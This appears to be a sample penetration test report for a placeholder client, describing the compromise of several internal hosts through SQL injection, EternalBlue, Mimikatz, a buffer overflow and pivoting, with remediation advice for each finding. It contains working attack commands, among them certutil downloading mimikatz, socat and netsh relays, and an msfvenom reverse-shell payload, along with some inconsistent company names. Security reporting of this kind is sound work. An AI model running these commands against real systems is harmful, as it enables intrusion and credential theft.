Example-Pentest-Report
Example-Pentest-Report
CYBERLAND SEC
Confidentiality Notice
This report contains sensitive, privileged, and confidential information. Precautions should be
taken to protect the confidentiality of the information in this document. Publication of this report
may cause reputational damage to NOMBRECLIENTE or facilitate attacks against
NOMBRECLIENTE. CYBERLAND SEC shall not be held liable for special, incidental, collateral
or consequential damages arising out of the use of this information.
Disclaimer
Note that this assessment may not disclose all vulnerabilities that are present on the systems
within the scope of the engagement. This report is a summary of the findings from a “point-in-
time” assessment made on NOMBRECLIENTE’s environment. Any changes made to the
environment during the period of testing may affect the results of the assessment.
TABLE OF CONTENTS
Confidentiality Notice 1
Disclaimer 2
EXECUTIVE SUMMARY 5
SCOPE 8
Networks 8
NOMBRECLIENTE Environment 8
TESTING METHODOLOGY 9
CLASSIFICATION DEFINITIONS 10
Risk Classifications 10
ASSESSMENT FINDINGS 12
2 – 10.185.10.34 38
3 – 10.185.10.27 47
4 – 10.185.10.55 58
5 – 10.185.11.127 80
REMEDIATION PLAN 85
Client Information 90
Version Information 90
Contact Information 90
EXECUTIVE SUMMARY
CYBERLAND SEC performed a security assessment of the internal corporate network of
NOMBRECLIENTE on 25/05/2024. Cyber Dark Trace’s penetration test simulated an attack
from an external threat actor attempting to gain access to systems within the NOMBRECLIENTE
corporate network. The purpose of this assessment was to discover and identify vulnerabilities
in NOMBRECLIENTE’s infrastructure and suggest methods to remediate the vulnerabilities.
CYBERLAND SEC identified a total of 14 vulnerabilities within the scope of the engagement
which are broken down by severity in the table below.
8 4 1 1
The highest severity vulnerabilities give potential attackers the opportunity to execute arbitrary
code, gain unauthorized administrative access, exfiltrate sensitive data, and disrupt services.
These actions can lead to significant consequences, including data breaches, financial loss,
reputational damage, and operational downtime. Attackers might exploit these vulnerabilities to
install malware, manipulate or delete critical data, and move laterally within the network to
compromise additional systems. In order to ensure data confidentiality, integrity, and availability,
security remediations should be implemented as described in the security assessment findings.
Note that this assessment may not disclose all vulnerabilities that are present on the systems
within the scope. Any changes made to the environment during the period of testing may affect
the results of the assessment.
Network Segmentation
● Excellent implementation of network segmentation that isolates critical systems,
preventing lateral movement by attackers.
Encryption
• Use of strong encryption protocols for data at rest and in transit, protecting sensitive
information from being intercepted or accessed by unauthorized parties.
Incident Response
● Review and update the incident response plan to ensure it is ready to address potential
security incidents promptly and effectively.
Network Monitoring
• Implement and configure network monitoring tools to detect and respond to suspicious
activities in real-time.
Patch Management
• Ensure all systems and applications are updated with the latest security patches to
mitigate known vulnerabilities.
SCOPE
All testing was based on the scope as defined in the Request For Proposal (RFP) and official
written communications. The items in scope are listed below.
Networks
Network Note
10.185.11.0/24 DMZ
NOMBRECLIENTE Environment
TESTING METHODOLOGY
CYBERLAND SEC’s testing methodology was split into three phases: Reconnaissance, Target
Assessment, and Execution of Vulnerabilities. During reconnaissance, we gathered information
about Foo Pones LLC’s network systems. CYBERLAND SEC used port scanning and other
enumeration methods to refine target information and assess target values. Next, we conducted
our targeted assessment. CYBERLAND SEC simulated an attacker exploiting vulnerabilities in
the NOMBRECLIENTE network. CYBERLAND SEC gathered evidence of vulnerabilities during
this phase of the engagement while conducting the simulation in a manner that would not
disrupt normal business operations.
CLASSIFICATION DEFINITIONS
Risk Classifications
Level Score
Description
ASSESSMENT FINDINGS
Number Finding Risk Score Risk Host
10.90.60.80
Linux
80 HTTP
5923 HTTP
CRITICAL
Description
SQL injection is a cyber attack technique that exploits vulnerabilities in a web application's
software by inserting malicious SQL queries, allowing attackers to manipulate and access the
application's database unauthorizedly. This can lead to data breaches, data loss, and
unauthorized administrative access.
Analysis
At the address http://10.90.60.80:5923/login.php we find a login panel in which we can take
advantage of this vulnerability.
Seeing that it is vulnerable, we can try to intercept the request with burpsuite and later with
Sqlmap to see if we can access the database.
Remediation Plan
• Mitigating SQL injection primarily involves input validation. Input validation ensures that
the type, length, and format of user input are acceptable, allowing only valid data to be
processed. This prevents malicious commands from being executed. Key practices
include using regular expressions as whitelists for structured data and ensuring fixed set
values (e.g., from drop-down lists) match one of the offered options exactly.
References
● https://github.com/sqlmapproject/sqlmap
CRITICAL
Description
CVE-2012-1823 is a critical vulnerability in the Common Gateway Interface (CGI)
implementation of PHP, allowing remote attackers to execute arbitrary code via query strings
containing PHP code. This can lead to complete server compromise and unauthorized access
to sensitive data.
Analysis
Enumerating with the Nikto tool, we found that it is vulnerable to CGI
We corroborate the vulnerability and use a metasploit module which allows us to obtain a
meterpreter session.
Remediation Plan
• Upgrade to PHP version 5.3.12, PHP version 5.4.2, or a later release. Alternatively, you
can use this 'mod_rewrite' rule as a temporary solution:
References
• https://pentesterlab.com/exercises/cve-2012-1823/course
MEDIUM
Description
Cross-Site Scripting (XSS) is a security vulnerability that allows attackers to inject malicious
scripts into webpages viewed by other users. This can lead to data theft, session hijacking, and
defacement of the website.
Analysis
We edit the request to address http://10.90.60.80/welcome.php, add the script and check that
scripts can be injected.
Remediation Plan
• Escaping: This involves processing user input to ensure it is safe before rendering it. By
escaping key characters like < and >, you prevent them from being interpreted
maliciously.
• Validating Input: This ensures only correct data is rendered by the application,
preventing malicious input. Whitelisting known good characters is more effective than
blacklisting bad characters for preventing XSS.
• Sanitizing: This method cleans user input to remove potentially harmful markup,
especially useful for sites that allow HTML. It should be used alongside escaping and
validating input for robust protection.
References
• https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Chea
t_Sheet.html
CRITICAL
Description
A file upload vulnerability occurs when a web application does not properly validate or restrict
the types and content of files uploaded by users. Attackers can exploit this weakness by
uploading malicious files, such as scripts or executables, which can then be executed on the
server. This can lead to severe consequences, including remote code execution, unauthorized
access to sensitive data, defacement of websites, and the installation of malware.
Analysis
Doing an exhaustive scan of files and directories with the GoBuster tool, we found two in
particular, /account.php (in which we can create a service and upload a file) and /pdf (in which
the uploaded files are saved).
Remediation Plan
• File Type Detector: Employ functions or APIs to check file types by examining the file's
initial characters or headers. Be cautious as attackers can insert malicious code within
valid headers or file metadata, and obfuscate or encode it to bypass detection. Ensure
the application handles compressed files securely to prevent crafting of malicious code.
References
• https://medium.com/@venkatasaimanikantamanugula/a-guide-to-preventing-file-upload-
vulnerabilities-part-i-d1667eea0955
CRITICAL
Description
Privilege escalation is a type of security vulnerability where an attacker gains elevated access to
resources that are normally protected from an application or user. This can occur in two forms:
1. Vertical Privilege Escalation: The attacker gains higher-level access than intended,
such as gaining administrative privileges.
2. Horizontal Privilege Escalation: The attacker accesses resources or functions
intended for other users with similar access levels.
Exploiting privilege escalation vulnerabilities can lead to unauthorized access to sensitive data,
the ability to alter system configurations, or even full control over the affected system. This
makes it crucial for systems to enforce strict access controls and regularly update and patch
software to prevent such exploits.
Analysis
Once we have uploaded a malicious bash script (taking advantage of the file upload
vulnerability) and execute it, while listening with the Netcat tool, we access the system with
www-data user privileges (non-administrator user).
Once we have gained access to the system, with the sudo -l command we can know which files
or binaries have permissions to run the www-data user as administrator.
User www-data can run the backup.pl (Perl) file in which he is calling the copy.sh file and
apparently is making a copy of the .txt files in the directory. We can add a last command line
that when we execute the backup.pl file and the script ends, it will give us a session as an
administrator user.
Remediation Plan
References
• https://medium.com/secure-you/common-linux-privilege-escalation-d441329f41f9
CRITICAL
Description
Information disclosure is a security vulnerability where sensitive data, such as system
configurations or user details, is exposed to unauthorized users. This can aid attackers in
planning further attacks, such as data breaches or privilege escalation.
Analysis
When we have accessed the system as administrator we have been able to list the directories,
finding in the user Michael's directory a file that gives us information about a computer that is on
the corporate network (10.185.10.0/24)
We have also been able to find a file that shows us the access credentials to the Database that
it has locally.
Additionally, we can list the users' hashes in the /etc/shadow file seeing that they have weak
encryption (MD5) and with tools like Jhon the ripper or Hashcat we could crack them and if they
were reused credentials it would be a bigger problem.
Remediation Plan
• If storing credentials in configuration files is unavoidable, ensure the files are encrypted
using strong encryption standards like AES-256. Ensure only authorized processes or
users can decrypt and access these files.
• Use secrets management solutions like HashiCorp Vault, AWS Secrets Manager, or
Azure Key Vault to securely store and manage access to sensitive information.
• Replace MD5 with more secure algorithms like bcrypt, Argon2, or SHA-256. These
algorithms provide better security through stronger encryption and built-in mechanisms
to mitigate brute force attacks.
References
• https://www.quora.com/What-makes-MD5-such-a-bad-hashing-algorithm
First, we pass the files to machine 10.90.60.80 through an http server with python that we run
on our machine to be able to share files with machine 10.90.60.80
We run the Chisel server on our machine and the client on machine 10.90.60.80
Now we only have to edit the /etc/proxychains4.conf file and add the tunnel that has been
created
2 – 10.185.10.34
10.185.10.34
Windows 7 SP1
135 Msrpc
139 Netbios-ssn
445 SMB
CRITICAL
Type Credentials
Description
Storing credentials in plain text within a configuration file, like mount_windows_mf.sh, is a
significant security vulnerability. If an attacker gains access to this file, they can easily read the
unencrypted credentials and use them to access sensitive systems or data. This practice
compromises the security of the entire system, emphasizing the need to store credentials
securely, using encryption and secure vaults to protect against unauthorized access and
potential breaches.
Analysis
Using the psexec tool of the impacket module, with the following command we can access the
machine with administrator privileges.
Browsing through the directories we find some files that appear to be a binary executed on
another machine, we download them since we will use them later.
Additionally, using the arp -a command, we find another active host, 10.185.10.27.
Remediation Plan
• To prevent them from entering through the psexec module (abusing the MS-17-010
vulnerability) is to apply the Windows 7 security patch
• If it’s possible, upgrade to the next version of Windows (Preferably Windows 10)
References
• https://github.com/rapid7/metasploit-
framework/blob/master/documentation/modules/exploit/windows/smb/psexec.md
• https://support.microsoft.com/en-us/help/4023262/how-to-verify-that-ms17-010-is-
installed
HIGH
Description
Credential dumping with Mimikatz is a technique where an attacker uses the Mimikatz tool to
extract plaintext passwords, hash values, PINs, and Kerberos tickets from memory on a
Windows system. This allows attackers to gain unauthorized access to user accounts and
escalate privileges within the network.
Analysis
Using the mimikatz tool that we have previously obtained with the command:
certutil -split -urlcache -f http://10.90.60.80:5923/pdf/mimikatz.exe
Remediation Plan
References
• https://www.lockardsecurity.com/2023/04/13/how-to-detect-and-prevent-the-hacking-
tool-mimikatz/
We run socat on machine 10.90.60.80 to listen and forward traffic to the attacking machine
172.16.40.5 with the following command: socat TCP-LISTEN:5543,fork TCP:172.16.40.5:33
We run the chisel client on machine 10.185.10.34 to send a tunnel to the attacking machine
(thanks to running socat on the intermediate machine).
We check the Chisel server on the attacking machine to see if the tunnel has been created.
Now we only have to edit the /etc/proxychains4.conf file and add the tunnel that has been
created
3 – 10.185.10.27
10.185.10.27
Windows 7 SP1
135 Msrpc
139 Netbios-ssn
445 SMB
CRITICAL
Type Credentials
Description
EternalBlue is a critical vulnerability in Microsoft's Server Message Block (SMB) protocol,
identified as CVE-2017-0144. Discovered by the NSA and later leaked by the hacking group
Shadow Brokers, this flaw allows remote attackers to execute arbitrary code on unpatched
Windows systems without requiring user interaction. EternalBlue exploits a flaw in the SMBv1
protocol, enabling attackers to gain full control of the affected machine.
Analysis
We check with the NMAP tool if it is vulnerable to Eternal Blue.
Since we have sent the reverse shell connection to machine 10.90.60.80, we listen via socat
and forward the traffic to port 3333 of the attacking machine.
Remediation Plan
• To prevent them from entering through the psexec module (abusing the MS-17-010
vulnerability) is to apply the Windows 7 security patch.
• If it’s possible, upgrade to the next version of Windows (Preferably Windows 10).
References
• https://github.com/3ndG4me/AutoBlue-MS17-010
HIGH
Description
Credential dumping with Mimikatz is a technique where an attacker uses the Mimikatz tool to
extract plaintext passwords, hash values, PINs, and Kerberos tickets from memory on a
Windows system. This allows attackers to gain unauthorized access to user accounts and
escalate privileges within the network.
Analysis
Using the mimikatz tool that we have previously obtained with the command:
certutil -split -urlcache -f http://10.90.60.80:5923/pdf/mimikatz.exe
Remediation Plan
References
• https://www.lockardsecurity.com/2023/04/13/how-to-detect-and-prevent-the-hacking-
tool-mimikatz/
LOW
Description
Information disclosure is a security vulnerability where sensitive data is unintentionally exposed
to unauthorized users. This can include system configurations, user credentials, personal data,
and internal network information. Information disclosure can occur through various means, such
as error messages, improper access controls, insecure data transmission, or flaws in application
design.
Analysis
By enumerating directories, we find a file that contains information about a host on the network
Remediation Plan
● To mitigate this risk, it is essential to implement proper data handling practices, enforce
strict access controls, securely configure systems, and regularly audit for potential leaks.
We move the files to machine 10.185.10.27 and run chisel in client mode.
4 – 10.185.10.55
10.185.10.55
Windows
HIGH
Description
A buffer overflow is a type of security vulnerability that occurs when a program writes more data
to a buffer than it can hold. Buffers are contiguous blocks of memory that store data temporarily.
When a buffer overflows, the excess data can overwrite adjacent memory, leading to
unpredictable behavior, crashes, or the execution of malicious code.
Attackers exploit buffer overflows by carefully crafting input data that exceeds the buffer's
capacity and includes executable code. This malicious code can then be executed with the
privileges of the vulnerable program, potentially allowing the attacker to gain unauthorized
access, escalate privileges, or take control of the affected system.
Analysis
Previously we downloaded the files from the
C:\\Users\developer\Desktop\CustomerManagerDev directory on machine 10.185.10.34 and
transferred the files to a local Windows machine of ours to do tests before attacking host
10.185.10.55
With the Immunity Debugger tool and the mona.py file (which we previously had to copy to the
PyCommands folder of Immunity Debugger) we will recreate the same scenario as on machine
10.185.10.55 and we will be able to design the final payload to gain access later.
We open Immunity Debugger, load the CustomerManagerService.exe file and establish the one
in which we have the file as the working folder.
We generate a file to know how many bytes the program crashes at and then obtain the offset.
Now we will create another script that we will modify throughout the exploitation.
With the metasploit module pattern_create.rb we generate 500 bytes of data to later compare in
the Immunity Debuger and calculate the offset.
With another metasploit module (pattern_offset.rb) we managed to calculate the offset and
added it to the exploit.py
Once we have control of the binary, we add the badchars to our exploit
We put the following mona command in the Immunity Debugger: !mona bytearray -b ¨\x00¨ and
run the exploit.py again
We repeat the process until we find all the badchars it has and we find the following badchars:
\x00\x0a\x0d
Now we paste all the badchars into the exploit.py (removing \x00\x0a\x0d) and run the
exploit.py again
Now we have to find the JMP pointer with the following mona command: !mona jmp -r esp -cpb
¨\x00\x0a\x0d¨
We also have to generate the payload with msfvenom to gain access through a reverse shell
with the following command: msfvenom -p windows/shell_reverse_tcp LHOST=10.185.10.27
LPORT=8887 -b "\x00\x0a\x0d" -f python
Now we just need to edit the CustomerManagerClient.py file and add all the data and run it with
proxychains and Python2: proxychains python2 CustomerManagerClient.py
Once executed, it will send the reverse shell to machine 10.185.10.27 through port 8887, which
will forward it to machine 10.90.60.80 through port 7776, which in turn will redirect it to our
machine through port 8181.
Remediation Plan
• Use modern languages: Prefer languages with automatic memory management, like
Python or Java.
• Safe Libraries: Use functions with built-in bounds checking, such as strncpy instead of
strcpy.
• Code Reviews: Regularly review code and use static analysis tools.
References
• https://www.synopsys.com/blogs/software-security/detect-prevent-and-mitigate-buffer-
overflow-attacks.html
HIGH
Description
The Metasploit module Windows Gather Credentials WinSCP is used to dump credentials from
the WinSCP application on a compromised Windows system. This module exploits the fact that
WinSCP can store user credentials, such as usernames and passwords, in its configuration files
and memory. By accessing these stored credentials, an attacker can gain unauthorized access
to various systems and services.
Analysis
Enumerating the directories and files of machine 10.185.10.55 we find that it possibly has
WinSCP installed, and we verify that there is a module in metasploit to be able to obtain
credentials used in WinSCP that are saved in memory.
We will need to obtain a meterpreter session from host 10.185.10.55, since we have not been
pivoting with metasploit, we will now do it to gain access and be able to exploit the vulnerability.
We add the network segment 10.185.10.0/24 with the metasploit autoroute module in the
meterpreter session where we have the connection with the host 10.90.60.80
With msfvenom we create a payload that when executed connects to machine 10.185.10.27, it
will be listening on port 6565 and on machine 10.185.10.27 using the command: netsh interface
portproxy add v4tov4 listenaddress=10.185.10.27 listenport=6565 connectaddress =172.16.40.5
connectport=6565 we will forward the traffic to our attacking machine through the same port
6565
All that remains is to execute the payload on host 10.185.10.55 and we will receive a
meterpreter session.
Now we can use the metasploit module to dump the saved WinSCP credentials.
As we can see, we have found a new host 10.185.11.127 and its credentials to enter via SSH.
Remediation Plan
• Separate the credentials from the script/code into a configuration file. While the
script/code without explicit credentials can be safely stored into a revision system and be
otherwise accessible, the configuration file should be protected as much as possible.
Particularly its file permissions should be restricted only to administrators (for writing)
and user under which the script/code runs (for reading). The configuration file can also
be encrypted, for example with built-in NTFS filesystem-level encryption.
References
• https://winscp.net/eng/docs/guide_protecting_credentials_for_automation
5 – 10.185.11.127
10.185.11.127
Linux
22 SSH
CRITICAL
Description
Privilege escalation is a type of security vulnerability where an attacker gains elevated access to
resources that are normally protected from an application or user. This can occur in two forms:
1. Vertical Privilege Escalation: The attacker gains higher-level access than intended,
such as gaining administrative privileges.
2. Horizontal Privilege Escalation: The attacker accesses resources or functions
intended for other users with similar access levels.
Exploiting privilege escalation vulnerabilities can lead to unauthorized access to sensitive data,
the ability to alter system configurations, or even full control over the affected system. This
makes it crucial for systems to enforce strict access controls and regularly update and patch
software to prevent such exploits.
Analysis
Previously on host 10.185.10.55 we found the access credentials via SSH to machine
10.185.11.127
Once we are inside, listing directories and files we find a file called z-cmd.php.
This code is a web shell that allows for the execution of arbitrary system commands passed via
the POST parameter z. Since this file is owned by the root user and has read and write
permissions for the root user (-rw-r--r--), but read permissions for others, you can leverage it to
escalate privileges if it is accessible via a web server.
To escalate privileges, we can run a command that gives us administrator access. For example,
we can add the user Jimmy or a new one to the sudoers file.
Remediation Plan
• Use Web Application Firewalls: Deploy a WAF to detect and block malicious requests
that attempt to exploit vulnerabilities in web applications.
• Remove Unnecessary Files: Regularly clean up your web server directories and remove
files that are not needed, especially those left by developers or during testing phases.
• Ensure sensitive files, especially those that can execute commands, are not accessible
to unauthorized users. Set appropriate file permissions and ownership.
References
• https://www.paloaltonetworks.com/cyberpedia/what-is-a-web-application-firewall
REMEDIATION PLAN
1 – 10.90.60.80 (NOMBRECLIENTE Web Server)
• Validating Input: This ensures only correct data is rendered by the application,
preventing malicious input. Whitelisting known good characters is more effective than
blacklisting bad characters for preventing XSS.
• Sanitizing: This method cleans user input to remove potentially harmful markup,
especially useful for sites that allow HTML. It should be used alongside escaping and
validating input for robust protection.
• File Type Detector: Employ functions or APIs to check file types by examining the file's
initial characters or headers. Be cautious as attackers can insert malicious code within
valid headers or file metadata, and obfuscate or encode it to bypass detection. Ensure
the application handles compressed files securely to prevent crafting of malicious code.
• Use secrets management solutions like HashiCorp Vault, AWS Secrets Manager, or
Azure Key Vault to securely store and manage access to sensitive information.
• Replace MD5 with more secure algorithms like bcrypt, Argon2, or SHA-256. These
algorithms provide better security through stronger encryption and built-in mechanisms
to mitigate brute force attacks.
2 – 10.185.10.34
• If it’s possible, upgrade to the next version of Windows (Preferably Windows 10)
3 – 10.185.10.27
• If it’s possible, upgrade to the next version of Windows (Preferably Windows 10).
● To mitigate this risk, it is essential to implement proper data handling practices, enforce
strict access controls, securely configure systems, and regularly audit for potential leaks.
4 – 10.185.10.55
• Safe Libraries: Use functions with built-in bounds checking, such as strncpy instead of
strcpy.
• Code Reviews: Regularly review code and use static analysis tools.
• Separate the credentials from the script/code into a configuration file. While the
script/code without explicit credentials can be safely stored into a revision system and be
otherwise accessible, the configuration file should be protected as much as possible.
Particularly its file permissions should be restricted only to administrators (for writing)
and user under which the script/code runs (for reading). The configuration file can also
be encrypted, for example with built-in NTFS filesystem-level encryption.
5 – 10.185.11.127
• Remove Unnecessary Files: Regularly clean up your web server directories and remove
files that are not needed, especially those left by developers or during testing phases.
• Ensure sensitive files, especially those that can execute commands, are not accessible
to unauthorized users. Set appropriate file permissions and ownership.
10.185.10.34 135 / 139 / Msrpc / Netbios- YES Eternal Blue CVE-2017-0144 (MS17-
445 ssn / SMB 010) / Dumped Credentials - Mimikatz
Socat Used for data transfer between two places, acting as a relay.
Client Information
Client NOMBRECLIENTE
Version Information
Contact Information
Phone 555-185-1782
Email [email protected]